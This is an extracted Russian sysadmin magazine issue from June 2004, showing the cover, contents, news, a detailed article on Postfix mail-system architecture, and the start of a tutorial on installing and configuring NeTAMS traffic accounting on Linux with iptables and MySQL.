Вы находитесь на странице: 1из 98

№6(19) июнь 2004

подписной индекс 81655


www.samag.ru
Архитектура Postfix
Процессы в Linux
Подсчет трафика с помощью NeTAMS
FreeBSD-бинарная совместимость
с Linux
Обзор дистрибутива Securepoint
Возможности Prelude IDS
VMWare co всеми удобствами
Первые шаги в NetBSD
Пиринг
Путь воина – внедрение
в PE/COFF-файлы
№6(19) июнь 2004

Оптимизация работы PHP


при помощи PHPAccelerator
оглавление

НОВОСТИ 3 ПРОГРАММИРОВАНИЕ

АДМИНИСТРИРОВАНИЕ Процессы в Linux


Общие сведения. Представление процессов в ядре Linux.

Архитектура Postfix Владимир Мешков


Детальное изучение анатомии программы. ubob@mail.ru 42
Андрей Бешков
tigrisha@sysadmins.ru 4 Путь воина – внедрение в PE/COFF-файлы
Крис Касперски
Подсчет трафика с помощью NeTAMS kk@sendmail.ru 52
(Network Traffic Accounting
and Management System)
Простой интерпретатор командного языка
Кирилл Тихонов
aka_shaman@mail.ru 9 Александр Фефелов
fefelov@zvenigorod.ru 72
VMWare со всеми удобствами
WEB
Андрей Бешков
tigrisha@sysadmins.ru 12
Оптимизация работы PHP при помощи
PHPAccelerator
FreeBSD-бинарная совместимость с Linux
Андрей Уваров
Андрей Бешков dashin@ua.fm 78
tigrisha@sysadmins.ru 18

Первые шаги в NetBSD ОБРАЗОВАНИЕ


Часть 1
Пиринг
Александр Байрак Что такое «пиринговые отношения»? Как они выглядят в
x01mer@pisem.net 22 России? Краткая хронология вопроса.

Павел Закляков
БЕЗОПАСНОСТЬ amdk7@mail.ru 82

Точка защиты Управление сетевой печатью


Обзор дистрибутива Securepoint. в Windows 2000
Часть 2
Сергей Яремчук Создание сценария регистрации пользователей в сети,
grinder@ua.fm 30 который будет автоматический управлять подключением
сетевых принтеров.

Прелюдия для защиты Иван Коробко


Возможности Prelude IDS. ikorobko@prosv.ru 88
Сергей Яремчук
grinder@ua.fm 34 BUGTRAQ 80

№6(19), июнь 2004 1


новости
SYSM.03
Итак, подходит время очередного, третьего по счету и ческих специалистов, на вопросы буду отвечать профес-
ставшего традиционным Семинара Системных Админис- сионалы своего дела. Многие решения, речь о которых
траторов и Инженеров (SYSM.03), который проводится пойдёт в выступлениях, будут представлены на стендах.
порталом SysAdmins.RU (www.sysadmins.ru) при информа- Участники смогут не только услышать информацию по
ционной поддержке журнала «Системный Администра- этим решениям, но и проверить их в деле.
тор». Выступающими на семинаре являются и наши с вами
Что же мы ожидаем в первую очередь от него? Конеч- коллеги, поэтому если у вас есть интересный опыт реше-
но, той же интересной, позитивной и запоминающейся ния нетривиальной задачи или вы считаете себя гуру в
атмосферы, которая сопровождала все предыдущие се- какой-либо области IT-искусства, обязательно присылай-
минары и которая может быть только среди коллег. Как те заявку на выступление на e-mail sysm@sysm.ru.
обычно, мы ждем всех, кто так или иначе относится к спе- Надеемся, что предоставим все возможности для со-
циалистам IT-индустрии – системных и сетевых админис- вершенствования ваших навыков, расширения кругозо-
траторов, системных архитекторов, инженеров техподдер- ра и общения с коллегами.
жки, аналитиков, IT-менеджеров. Как обычно, семинар пройдет в уютном и комфортном
На третьем семинаре мы планируем разделить про- месте. Предусмотрены гостиничные номера для иногород-
грамму выступлений по нескольким тематическим направ- них гостей.
лениям, что позволит вам выбрать наиболее интересную Отчеты и фотографии с предыдущих семинаров вы
тематику и рационально и плодотворно использовать свое можете найти на www.sysm.ru. Внимательно следите за
время. Планируется проводить параллельные сессии вы- обновлениями на сайте, в ближайшее время будет откры-
ступлений в нескольких залах. та регистрация участников, опубликована программа и
Традиционно будут выступления представителей круп- размещена информация о времени и месте проведения
ных интеграторов и IT-корпораций. Они представят новей- семинара.
шие решения в области операционных систем, систем ин- Организаторы семинара
формационной безопасности, серверные и сетевые реше- Портал SysAdmins.RU
Фото Алексея Фомина
ния. Все выступления ориентированы именно на техни-

Новости от компании .masterhost


Хостинг: новая маркетинговая программа Пропускная способность
Компания .masterhost представила на рынок новую кли- Техническая служба компании .masterhost сообщает о рас-
ентскую программу «Работа над ошибками». ширении пропускной способности транспортных каналов
Так уж повелось на рынке хостинг-услуг, что далеко не и установке собственного оборудования на узле связи
каждый создатель интернет-проектов сразу выбирает пра- MSK-IX.
вильный для себя хостинг, поработав некоторое время, В настоящий момент суммарная пропускная способ-
зачастую приходит желание поменять хостинг на более ность каналов составляет 3 Гб/сек, из которых 2 Гб/сек со-
подходящий. единяют .masterhost и ТТК, а 1 Гб/сек связывает .masterhost
Компания .masterhost предлагает всем желающим с провайдером «Корбина телеком». Точка присутствия на
свою помощь в перемещении интернет-проектов на про- узле связи MSK-IX обеспечивает возможность динамичес-
фессиональную хостинг-площадку. При этом клиент по- кого развития транспортных возможностей технической
лучает не только широко известное профессиональное об- площадки .masterhost.
служивание в компании .masterhost, но и финансовую ком-
пенсацию в размере предоплаты, не израсходованной на www.masterhost.ru
предыдущем хостинге. e-mail: press@masterhost.ru

№6(19), июнь 2004 3


администрирование

АРХИТЕКТУРА POSTFIX

В последнее время очень часто почтовые системы создаются на основе Postfix. Данный пакет
программного обеспечения стал довольно популярен среди администраторов всех видов UNIX-систем.
Причина такого хода событий тривиальна – Postfix характеризуется как феноменально простая
в освоении, удобная в настройке и чрезвычайно устойчивая система. Целью создания этого продукта
была надежда полностью заменить sendmail. Являясь монолитным сервером, sendmail небезопасен,
потому что одна-единственная ошибка может скомпрометировать всю программу.

АНДРЕЙ БЕШКОВ

4
администрирование
Давайте посмотрим, как выглядит изнутри почтовая сис- ! Все данные, приходящие из внешних источников по
тема, построенная на основе Postfix, и чем она отличает- умолчанию, считаются потенциально опасными, поэто-
ся от других систем, предназначенных для выполнения тех му должны быть проверены и отфильтрованы жесто-
же задач. Добиться этого можно, сосредоточив свое вни- чайшим образом.
мание на детальном изучении анатомии этой программы. ! Память для текстовых фрагментов и служебных буфе-
Очень надеюсь, что прилагающаяся к статье схема помо- ров выделяется динамически, что позволяет значитель-
жет нам в этом. но снизить вероятность успешного использования оши-
Во-первых, хотелось бы сказать, что костяк системы бок переполнения буфера. Слишком большие тексто-
построен на использовании нескольких полурезидентных вые массивы обрабатываются после разрезания на
программ. Каждая из них в соответствии с философией фиксированные фрагменты. После завершения всех
UNIX выполняет только одну задачу, но делает это хоро- нужных действий они снова склеиваются воедино. Та-
шо. В отличие от стандартного подхода, практикуемого кой подход позволяет существенно уменьшить требо-
qmail, при котором главная программа вызывает вспомо- вания программы к наличию оперативной памяти.
гательные по мере необходимости и позволяет им уми- ! Количество объектов, находящихся в памяти, строго
рать, когда они уже не нужны, резидентность служебных ограничено. Соответственно даже под большой нагруз-
программ позволяет сэкономить на создании новых про- кой Postfix не будет потреблять слишком много сис-
цессов. Впрочем, если грамотно распределить этапы об- темных ресурсов. Ведь скорость обработки почтовых
работки почты для каждой программы и несильно дробить сообщений вряд ли вырастет от того, что мы, к приме-
весь процесс, то подход, исповедуемый qmail-подобными ру, вместо десяти будем использовать двадцать буфе-
системами, будет вполне допустим. ров для обработки писем. Тут уже ограничителем выс-
В то же время нет необходимости в большом количе- тупает скорость аппаратных компонентов самой сис-
стве одновременно работающих программ, самостоятель- темы, а не количество объектов для обработки почты,
но выполняющих одно и то же действие, для находящихся хранящейся на диске.
в обработке писем. Их все можно заменить одним или
несколькими резидентными экземплярами нужной подси- Итак, разобравшись с основными концепциями дизай-
стемы, обрабатывающими по очереди все поступающие на системы, перейдем к детальному рассмотрению ее ар-
запросы. Соответственно любая служебная программа при хитектуры. Во главе всего стоит демон master, который
необходимости может запросто обратиться с запросами обычно запускается командой postfix при старте системы
к любому другому компоненту почтовой системы. и работает постоянно до тех пор, пока действует почто-
Такое жесткое деление на подсистемы позволяет легко вая система. Этот супердемон отвечает за запуск по тре-
отключать те модули, в которых вы не нуждаетесь. Напри- бованию всех остальных демонов и перезапуск тех из них,
мер, на пограничном межсетевом экране нет необходимо- которые преждевременно завершили свою работу из-за
сти держать включенным модуль, принимающий SMTP- каких-либо проблем. В его обязанности также входит сле-
соединения. Postfix имеет довольно сложное внутреннее дить, чтобы количество дочерних процессов не превыша-
устройство. На момент последнего релиза исходный код ло ограничения установленных в файле master.cf, и что-
насчитывал 30 000 строк после удаления комментариев. бы каждый из них жил не дольше, чем определено на-
Но в то же время все построено очень логично, и новому стройками почтовой системы. В дальнейшем в статье по
пользователю не приходится вникать в особенности реа- мере возможности вместо слова «демон» я буду употреб-
лизации сразу после установки системы. Необходимость лять слово «процесс». Думаю, так будет удобнее всего.
изучать систему глубже возникает только тогда, когда хо- Главное, не забывать, что наши демонизированные про-
чется сделать что-то нестандартное. Но и тут нас ожидают цессы в отличие от обычных процессов никогда не завер-
приятные неожиданности, благодаря своему логичному шаются самостоятельно, а лишь по приказу от master. Если
дизайну перевести систему в любой режим работы оказы- те или иные процессы простаивают из-за отсутствия ра-
вается достаточно просто. В таком большом комплексе при- боты, то по истечении определенного тайм-аута они бу-
ходится как можно тщательнее заботиться о безопасности дут принудительно завершены в целях экономии памяти.
системы. Для этого применяются следующие меры: Между собой все они общаются либо с помощью UNIX-
! Использование наименьших привилегий. Postfix может сокетов, либо через FIFO. Все каналы обмена находятся
быть легко ограничен с помощью chroot и работать от в специально защищенной директории. Несмотря на та-
имени самого бесправного пользователя. кие предосторожности, все данные, получаемые от раз-
! Ни одна из служебных программ не использует set-uid ных подсистем самого Postfix и внешних сущностей, обя-
бит. зательно подвергаются добавочным проверкам.
! Между программами, отвечающими за доставку почты, Потихоньку разобравшись с вопросом, кто здесь глав-
и пользовательскими процессами, работающими в си- ный, давайте посмотрим, какими путями письма появля-
стеме, отсутствуют отношения родитель-ребенок. Это ются внутри почтовой системы.
позволяет свести на нет попытки использования эксп- Самый частый случай – когда новые письма приходят
лоитов, основанных на том, что злонамеренный роди- через сетевое соединение. Первым делом их получает
тельский процесс может передавать дочернему спе- SMTP-демон. Если администратор включил соответству-
циально измененные переменные среды, сигналы, от- ющую возможность, то сначала будет произведена про-
крытые файлы. верка, не попадает ли письмо под ограничения UCE-филь-

№6(19), июнь 2004 5


администрирование
трации. UCE (unsolicited commercial email) – невостребо- вает процесс pickup и аналогично SMTP-демону проверя-
ванная коммерческая почта, или, проще говоря, спам. Для ет соответствие послания установленным форматам, в ре-
борьбы с ним можно применять следующие меры: зультате чего письмо попадает в лапы свободному на дан-
! Фильтрация по служебным заголовкам или телу сооб- ный момент процессу cleanup. В случае если письмо не
щений. поддается коррекции, то оно немедленно уничтожается.
! Ограничения IP-адресов и имен хостов клиентов, кото- Стоит отметить, что отправитель не получит никаких из-
рым разрешено отправлять почту через нашу систему. вещений о данном прискорбном факте. Если же ничего
! Принуждение клиентских программ начинать каждую аномального не было найдено, то сообщение беспрепят-
сессию с команды EHLO. Большинство инструментов, ственно попадет в очередь incoming, а queue manager, как
используемых спамерами для групповой рассылки, не обычно, получит сигнал о появлении новых писем.
обучены следовать этому стандарту. Идем дальше. Новая почта также может появиться в
! Требование использовать почтовые адреса, полностью случае, если письмо невозможно доставить адресату и
соответствующие стандарту RFC 821. настройки системы диктуют в данном случае отправлять
! Ограничения, накладываемые на почтовый адрес от- оповещения отправителю. При таком повороте событий
правителя и получателя сообщения. процесс bounce или defer генерирует письмо с извещени-
! Проверка IP-адреса отправителя по черному списку RBL. ем о проблеме. Адресовано оно, конечно же, отправите-
лю первоначального сообщения. Другим источником воз-
После этого с полученным письмом начинает работать никновения писем может быть настройка Postfix, застав-
процесс cleanup, занимающийся его зачисткой. Он про- ляющая его отправлять администратору уведомления в
водит первоначальные проверки на правильность офор- случае проблем c SMTP или нарушения тех или иных по-
мления и формат входящего сообщения, позволяя защи- литик, которые продиктованы настройками почтовой сис-
тить остальную систему от многих атак, рассчитанных на темы. Соответственно в обоих случаях, чтобы доставить
переполнение буфера. В случае необходимости добавля- письмо адресату, приходится, как обычно, отдать его про-
ет в письмо недостающие служебные заголовки и с помо- цессу cleanup и затем отправить в очередь incoming.
щью процесса по имени trivial-rewrite приводит адреса к
виду: пользователь@поддомен.домен. В postfix пока нет
полноценного языка, позволяющего гибко управлять про-
цессом переписывания адресов, поэтому вместо него ис-
пользуются служебные таблицы canonical и virtual для хра-
нения правил, управляющих перезаписью.
После такой обработки письмо сохраняется на диск в
формате файла почтовой очереди и кладется в директо-
рию, где хранится очередь incoming, обычно это директо-
рия /var/spool/postfix/incoming/. Как вы могли догадаться
по названию, эта очередь используется только для обра-
ботки входящих сообщений. Затем процесс cleanup уве-
домляет процесс queue manager, управляющий всеми оче-
редями о прибытии новой почты.
Следующий случай – письмо, отправленное из нашей
локальной системы с помощью какого-либо скрипта или, Доставка почтовых сообщений
например, с помощью вот такой команды: Мы разобрались с тем, какими путями письма появляют-
ся внутри почтовой системы. Теперь все, что находится в
echo "mail text" | mail tigrisha@unreal.net -s "test subject" очереди incoming, нужно доставить получателям. Давай-
те посмотрим, как это происходит. Получив от cleanup уве-
Во многих UNIX-системах в качестве почтовой програм- домление о поступлении новой почты демон queue manager,
мы и по сей день традиционно используется sendmail. управляющий очередями, перекладывает письмо в оче-
Соответственно большинство скриптов, написанных ра- редь active. Кстати, стоит заметить, что эта очередь очень
нее и используемых сейчас априори, считает, что в систе- маленького размера. В ней может находиться всего лишь
ме установлена именно эта разновидность почтового сер- несколько писем, которые в данный момент находятся в
вера. Чтобы не разрушить совместимость с огромным ко- процессе доставки. Сделано это по двум причинам. Во-
личеством программного обеспечения при переходе к ис- первых, для того чтобы при большой нагрузке менеджер
пользованию Postfix, в систему вместе с прочими файла- очередей не потреблял слишком много памяти. Вторая
ми устанавливается программа, заменяющая sendmail. причина состоит в том, что в случае, когда принимающая
Таким образом, получается, что команда mail передает сторона не в состоянии получать письма с той скоростью,
письмо программе sendmail, установленной Postfix, а та в с которой Postfix старается их передать, приходится при-
свою очередь вызывает привилегированную программу тормозить скорость отправки. С малой очередью это де-
postdrop. Ну а последняя уже кладет файлы с письмами в лать гораздо проще. Положив письмо в очередь active,
служебную директорию maildrop, которая обычно находит- демон queue manager создает запрос к процессу trivial-
ся в /var/spool/postfix/maildrop/. Затем письмо подхваты- rewrite, с помощью которого удается определить точку на-

6
администрирование
значения сообщения. В ответ можно будет лишь узнать, bounce посылает отправителю оповещение о неудаче
локальный ли получатель или он живет на удаленной сис- предпринятого действия и делает запись в протокол ра-
теме. Добавочную информацию о маршрутизации почты боты почтовой системы с помощью syslogd. А во втором
можно получить из файла transport. В зависимости от по- письмо помещается в специальную очередь deferred, где
лученных данных queue manager входит в контакт с од- оно должно дожидаться следующей попытки доставки.
ним из следующих агентов доставки: ! LMTP-клиент работает точно так же, как и SMTP-кли-
! Local – используется для доставки почты внутри локаль- ент, разве что протокол используется другой. LMTP спе-
ной системы. Умеет работать со стандартными для UNIX циально создан для того, чтобы доставлять письмо на
почтовыми ящиками. В случае если для данного пользо- локальный или удаленный сервер, выделенный для
вателя не заведено системных псевдонимов, в файле хранения почтовых ящиков. В таком качестве могут вы-
псевдонимов обычно это /etc/aliases и нет файлов локаль- ступать Courier- или Cyrus-сервер. Большим плюсом
ного перенаправления .forward, которые любой пользо- такого подхода к доставке писем является то, что один
ватель может создать в своей домашней директории, то сервер Postfix может раздавать письма разным серве-
письмо сразу же попадает в целевой почтовый ящик. В рам почтовых ящиков. В то же время никто не мешает
противном случае письмо будет передано туда, куда они одному серверу почтовых ящиков получать почту от
указывают. Возможности локального агента доставки на нескольких серверов postfix одновременно.
этом не заканчиваются. Одновременно могут работать ! Pipe mailer-интерфейс, предназначенный для работы
несколько агентов локальной доставки, но в то же время с внешними транспортными агентами. Примером та-
параллельная доставка нескольких писем в один почто- кого взаимодействия может служить работа с UUCP.
вый ящик обычно не практикуется. Несмотря на то, что В то же время никто не мешает нам привязать к дан-
агент локальной доставки может самостоятельно спра- ному интерфейсу свой самодельный транспорт.
виться со всеми проблемами, по желанию администра-
тор может задействовать механизмы, позволяющие пе- Как я уже говорил ранее, в случае если доставка не
редоверить доставку в почтовый ящик внешним програм- удалась, менеджер очередей переправляет файл, в кото-
мам. Примером такой программы может служить широ- ром хранится письмо, в директорию, где находится оче-
ко известный многим администраторам procmail. редь deferred. В ней складируются отложенные до лучших
! Virtual – агент виртуальной доставки представляет со- времен письма. На файл с письмом ставится временной
бой очень урезанную версию агента локальной достав- штамп, находящийся в будущем, соответственно следую-
ки. Поэтому он может работать только с почтовыми ящи- щая обработка этого файла произойдет именно в тот мо-
ками в формате mailbox. В нем также отсутствует под- мент, на который указывает штамп. Периодически менед-
держка системной базы псевдонимов и файлов .forward. жер очередей проверяет, не пришло ли время предпри-
За счет таких ограничений данный агент доставки счи- нять следующую попытку доставки отложенных сообще-
тается самым безопасным из всех. Благодаря своей при- ний. В случае если есть необходимость выполнить оче-
роде он может легко работать с почтой, предназначен- редную попытку раньше, чем истечет тайм-аут, нужно вос-
ной для нескольких виртуальных доменов, располагаю- пользоваться командой postfix flush.
щихся на одной и той же машине. Следующим интересным для нас понятием является
! SMTP-клиент, являющийся еще одним агентом, вступа- очередь corrupt. В нее попадают все поврежденные, не-
ет в действие в тот момент, когда нужно доставить пись- читаемые или неправильно отформатированные файлы
мо пользователю удаленной системы. Обычно queue почтовых очередей. Такая предосторожность позволяет
manager передает ему следующие данные: имя файла изолировать подозрительные данные до тех пор, пока ад-
очереди, адрес получателя, хост или домен, куда нужно министратор системы не решит, что с ними делать. Впро-
доставить почту, адрес отправителя. Первым делом с по- чем, за несколько лет непрерывной работы моего серве-
мощью DNS-запроса нужно получить список MX-серве- ра мне так и не удалось увидеть ни одного случая, чтобы
ров для целевого домена и отсортировать его по приори- сообщение попало в эту очередь.
тету. Следующим шагом мы начинаем пробовать каж- Последняя из существующих в системе очередей на-
дый адрес до тех пор, пока не найдем тот, который нахо- зывается hold. Здесь хранятся письма, доставка которых
дится в рабочем состоянии. Обычно доставка идет одно- приостановлена по тем или иным причинам. Они будут
временно сразу для нескольких доменов, поэтому в сис- находиться в этой очереди, пока не поступит специаль-
темах, через которые проходит большой поток почты, ная команда, выводящая их из состояния паузы.
можно увидеть несколько SMTP-клиентов, работающих Менеджер очередей может работать в разных режи-
параллельно. Если доставка завершилась удачно, то мах, обычно они называются стратегиями. В то же время
SMTP-клиент модифицирует файл почтовой очереди так, никто не мешает их комбинировать между собой. Давай-
чтобы было понятно, что он обработан. В противном слу- те рассмотрим характерные особенности каждого из них.
чае данный клиент уведомляет queue manager либо о ! leaky bucket – дырявое ведро. Жестко ограничивает ко-
фатальной ошибке, либо о временных затруднениях. личество сообщений в очереди active, тем самым за-
Проблемы первого типа могут быть вызваны отсутстви- щищая менеджера очередей от потребления чрезмер-
ем нужного пользователя удаленной системы, а вторые, ного объема памяти. Большая часть сообщений для до-
к примеру, неполадками в сети или неработоспособнос- ставки берется из очереди incoming и лишь малая часть
тью принимающего сервера. В первом случае процесс из deferred.

№6(19), июнь 2004 7


администрирование
! Fairness – честная очередь. В случае если очередь телось бы немного поговорить о сопутствующих утилитах,
active не заполнена, письма берутся равномерно из о которых мы еще не успели поговорить.
deferred и incoming. Что дает залежавшейся почте боль- ! mailq – программа, позволяющая смотреть список пи-
ше шансов быть доставленной, даже если система сем, находящихся в почтовых очередях. На самом деле
очень сильно загружена. эта программа является всего лишь интерфейсом к де-
! slow start – медленный старт. Данная стратегия позво- мону showq, который вызывается через команду
ляет бороться с заторами, которые могут образовать- sendmail -bp.
ся, если принимающая сторона слишком медленно об- ! postsuper – предназначена для обслуживания почтовых
рабатывает входящие запросы, а очередь предназна- очередей. Одним из применений является удаление
ченной ей почты слишком велика. Соответственно нуж- какого-либо сообщения или повторная установка его в
но подобрать ровно такое количество одновременных очередь на доставку. В то же время не стоит забывать
потоков доставок, чтобы сервер успевал обрабатывать об утилите postqueue, которая также создана для управ-
их все, не теряя ни одного из-за перегрузки и следую- ления очередями. Единственное различие в них это то,
щих за этим тайм-аутов. Подстройка обычно произво- что для работы c postsuper требуются права root, а для
дится с помощью плавного уменьшения количества postqueue таких широких полномочий не нужно, хотя за
одновременных попыток доставки. счет этого теряется часть функционала.
! round robin – круговая сортировка. Обычно менеджер ! postalias – используется для создания баз псевдони-
очередей сортирует очередь на доставку по пунктам мов или выполнения запросов к этим базам. Для со-
назначения. С помощью этой стратегии вероятность вместимости с sendmail существует команда
доставки более равномерно распределяется по всем newaliases, делающая то же самое, что и postalias.
пунктам назначения, что обеспечивает честные усло- ! postconf – показывает состояние конфигурационных
вия конкуренции для каждого пункта. переменных Postfix.
! exponential backoff – экспоненциальный откат. Почта, ! postlog – команда, которую можно использовать для
которая не может быть доставлена с первой же попыт- записи данных в протоколы работы Postfix. Полезна для
ки, попадает в очередь deferred. После каждой неудач- использования в своих собственных скриптах.
ной попытки доставки тайм-аут увеличивается вдвое. ! postcat – данная утилита, позволяющая посмотреть со-
Таким образом, почта для недееспособных узлов не держимое файла почтовой очереди.
будет потреблять слишком много ресурсов отправля- ! postmap – используется для выполнения запросов к
ющей системы напрасными попытками доставки. вспомогательным таблицам или для создания таких
! destination status cache – кэширование статуса. Менед- таблиц из текстовых файлов. Перевод данных из тек-
жер очередей поддерживает таблицу, в которой неко- стовой формы в табличную довольно сильно ускоряет
торое время хранятся статусы предыдущих попыток до- процедуру выполнения запросов.
ставок. Соответственно это позволяет сэкономить на ! postlock – позволяет работать с блокировками, уста-
повторных попытках, обращенных на недоступные новленными Postfix на файлы. Обычно применяется
узлы. для написания скриптов.
! postkick – предназначена для отправки сигналов по ка-
Кроме всех перечисленных функций менеджер очере- налам межпроцессового обмена внутри Postfix. Удоб-
дей может делать еще одну приятную мелочь. В случае на для организации взаимодействия между внутрен-
если нам нужно создавать стандартные оповещения, го- ними процессами Postfix и самописными скриптами.
ворящие отправителю исходного сообщения о том, что ка- ! spawn – демон, позволяющий подключить внешнюю си-
кие-то почтовые адреса или целые домены перестали су- стему фильтрации содержимого сообщений. На дан-
ществовать или переменили свои названия, мы можем ный момент находится в стадии активной разработки,
воспользоваться файлом relocated. Я думаю, это доволь- и хотя работает достаточно надежно, но в силу осо-
но удобная возможность. К примеру, представим себе та- бенностей реализации создает слишком большую на-
кую ситуацию: в офисе есть пользователь с адресом грузку на систему. Скорее всего в следующих версиях
Irina.Petrova@firma.ru. По какой-то причине она решила Postfix будет заменен на что-то лучшее.
сменить фамилию. С женщинами в жизни такое случает- ! proxymap – сервис, позволяющий централизованно вы-
ся вообще достаточно часто. Самым типичным решени- полнять запросы ко всем служебным таблицам вмес-
ем было бы завести новый адрес типа Irina.Vasilieva@ то того, чтобы каждый из процессов выполнял их са-
firma.ru и поставить пользователю задачу самостоятель- мостоятельно. Еще одним применением может быть
но оповестить о смене адреса всех, с кем она когда-либо предоставление Postfix доступа к файлам, находящим-
общалась по почте. Конечно, можно создать псевдоним ся за рамками ограничений, накладываемых chroot.
первого адреса, указывающий на второй, но, согласитесь,
это неудобно. Мы поступим проще, а именно: запишем Вот и подошло к концу наше повествование. Надеюсь,
пару из старого и нового адреса в /etc/postfix/relocated и что данный труд поможет тем, кто использует Postfix, луч-
postfix начнет отправлять уведомления о невозможности ше понимать механизмы его жизнедеятельности. Ну а для
доставки с указанием нового адреса в ответ на каждое тех, кто пока еще не задумывался о необходимости по-
письмо, предназначенное старому адресу. ставить его на свой сервер, эта статья, возможно, станет
Закончив обсуждать ключевые подсистемы Postfix, хо- первым шагом к такому решению.

8
администрирование

ПОДСЧЕТ ТРАФИКА С ПОМОЩЬЮ


NETAMS

Существует большое количество программ, предназначенных для подсчета трафика и сбора


статистики. Сегодня мы рассмотрим одну из них, которая, на мой взгляд, будет одинаково
интересна и новичкам, и специалистам.
КИРИЛЛ ТИХОНОВ
NeTAMS – Network Traffic Accounting and Management Нам понадобится пакетный фильтр iptables и входящая
System (www.netams.com) предназначена для контроля и в него библиотека libipq. Библиотека libipq добавляет цель
учета сетевого трафика, проходящего через сервер. Ра- QUEUE, т.е. очередь. Забегая вперед, скажу, что весь тра-
ботает под управлением операционных систем FreeBSD фик заворачивается с помощью QUEUE в системную оче-
(4.3 и старше) и Linux (ядро 2.4 или выше и iptables). редь, из которой пакеты берет NeTAMS, анализирует и от-
Краткие характеристики: дает обратно.
! Работа с БД MySQL, PostgreSQL, unix hash. Скачиваем пакетный фильтр с www.netfilter.org, распа-
! Контроль доступа, квот и прав пользования. ковываем и компилируем (предполагается, что текущее
! Вывод статистики прямым запросом или через веб-ин- ядро лежит в /usr/src/linux):
терфейс.
! Управление посредством соединения клиентом telnet #
#
tar xvfj iptables-1.2.9.tar.bz2
cd iptables-1.2.9
на некий tcp-порт сервера. # make KERNEL_DIR=/usr/src/linux
! Веб-интерфейс для отображения статистики. #
#
make install
make install-devel

Установку программы нельзя назвать тривиальной. Последняя строка позволяет установить библиотеку libipq.
В качестве сервера будем использовать Linux, посколь- Скачиваем NeTAMS с www.netams.org, последняя версия
ку с ним, в отличие от FreeBSD, возникает большинство на момент написания статьи 3.1(1801), и распаковываем:
проблем. Сервер является маршрутизатором с 2 сете-
выми картами, одна смотрит в Интернет, другая – в ло- # tar xvfz netams-3.1.1801.tar.gz
# cd netams-3.1.1801
кальную сеть. # vi Makefile

№6(19), июнь 2004 9


администрирование
Скрипта configure здесь нет, поэтому редактируем debug none
user name admin real-name Admin email root@localhost ↵
Makefile. Он хорошо документирован, поэтому разобрать- password 123 permit all
ся в опциях не составляет труда. Для начала комментиру-
service server 0
ем все, относящееся к FreeBSD, а именно строки 13, 14, login any
17, 25, 26. После этого раскомментируем строки, относя- listen 20001
max-conn 6
щиеся к Linux: строки 34 и 35. Далее выбираем тип БД:
DB1 (unix hash), MySQL или PostgreSQL и раскомменти- При запуске программа с такой конфигурацией ниче-
руем относящиеся к ним строки. Само собой, используе- го считать не будет. К ней можно только подключиться с
мая БД должна быть уже установлена и настроена. Мы помощью telnet и просмотреть конфигурацию.
выбираем MySQL. Поскольку мы используем iptables-1.2.9, Разберем файл построчно. Строка debug none отклю-
то надо раскомментировать строку 50. чает вывод отладочной информации. Следующая строка
Далее правим пути к конфигурационному файлу и ло- определяет пользователя:
гам (строки 56, 57) и компилируем: ! user name admin – логин;
! real-name Admin – реальное имя;
# make ! email root@localhost – email;
! password 123 – пароль (незашифрованный);
Результатом компиляции будут 2 файла: netams – сама ! permit all – разрешено все.
программа и netamsctl – утилита для автоматизации вы-
полнения повседневных работ. Цели install в Makefile нет, Следующая строка начинает описание сервиса server.
поэтому устанавливаем вручную: Этот сервис обеспечивает возможность подключения к
работающей программе с помощью telnet:
# cp src/netams /usr/local/bin
# cp src/netamsctl /usr/local/bin
! service server 0 – начало описания сервиса. Каждый
сервис должен иметь номер. Это нужно для того, что-
Отлично, программа установлена. Но прежде чем мы бы можно было описать несколько одинаковых серви-
начнем писать конфигурационный файл, настроим MySQL. сов. Например, несколько сервисов storage, которые
В принципе необходимости ручного создания БД нет. будут хранить разную информацию в разных БД.
При первом запуске NeTAMS создаст ее сам. Однако сде- ! login any – пустить всех.
лать это возможно только под пользователем с правами ! listen 20001 – слушать tcp-порт 20001.
администратора MySQL. Мы же заведем отдельного ! max-conn 6 – максимальное число одновременных под-
пользователя с именем netamsuser и паролем passwd и ключений.
вручим ему права на доступ к БД.
Итак: Запустим программу:

# mysql –u root –p # netams –ld


Enter password:

Создаем базу netams, в которую NeTAMS будет писать К ней можно подключиться, набрав:
данные:
telnet netams_host 20001
mysql> create database netams;
mysql> connect netams;
Далее надо ввести логин и пароль – в нашем случае
Вручаем права пользователю netams-user: admin и 123. Введя «?», можно получить справку по ко-
мандам.
mysql> grant SELECT,INSERT,DELETE,UPDATE,CREATE ↵ Теперь займемся подсчетом трафика.
on netams.* to netamsuser;
mysql> grant SELECT,INSERT,DELETE,UPDATE,CREATE ↵ В уже созданный файл допишем еще несколько сер-
on netams.* to netamsuser@localhost; висов, после чего он примет вид:

и задаем пароль пользователя netamsuser: debug none


user name admin real-name Admin email root@localhost ↵
password 123 permit all
mysql> connect mysql;
mysql> set password for ↵ service server 0
'netamsuser'@'localhost'=password('passwd'); login any
mysql> set password for 'netamsuser'@'%'=password('passwd'); listen 20001
max-conn 6

Для того чтобы внесенные изменения вступили в силу, service processor 0


lookup-delay 10
обновляем активные привилегии и выходим: policy acct name all-ip target ip
restrict all pass local pass
mysql> flush privileges; unit host name linux-gw ip 195.x.x.x acct-policy all-ip
mysql> exit storage 1 all
service storage 1
Все, БД готова к приему данных от NeTAMS. Начнем type mysql
писать конфигурационный файл /etc/netams.cfg: user netamsuser

10
администрирование
password passwd Здесь есть один очень важный момент. Дело в том,
service data-source 1
что с помощью приведенных выше правил iptables все
type ip-traffic входящие и исходящие пакеты поступают в системную
service html 1
очередь, откуда их будет брать NeTAMS. Однако если в
path /var/www/localhost/netams момент активизации iptables NeTAMS не будет запущен,
run 1min пакеты будут поступать в системную очередь и пропа-
client-pages all
дать там, т.к. не будет программы, которая отправит их
Разберем написанное. Обращаю внимание, что в пре- обратно. В результате пропадает коннект до сервера.
делах одного сервиса пустые строки недопустимы. Дело Поэтому в процессе отладки надо либо сидеть за консо-
в том, что с точки зрения NeTAMS после пустой строки лью сервера, либо в случае удаленного администриро-
должно идти начало нового сервиса, и в случае обнару- вания тренироваться на icmp-трафике (в сервисе
жения пустой строки, за которой не идет определение сер- processor 0 поменять значение параметра policy target ip
виса, NeTAMS будет аварийно завершать работу. на target icmp, и в правилах iptables аналогично заме-
! service processor 0 – ядро системы, в нем определяют- нить –p all на –p icmp). А порядок запуска такой: сначала
ся объекты, по которым будет идти учет. запускаем NeTAMS, потом iptables. Соответственно по-
! policy acct name all-ip target ip – определяет политику, рядок остановки обратный – сначала останавливаем
по которой будет производиться подсчет трафика, в iptables, потом NeTAMS.
данном случае политика с именем all-ip (параметр Каждый объект имеет свой уникальный шестнадцате-
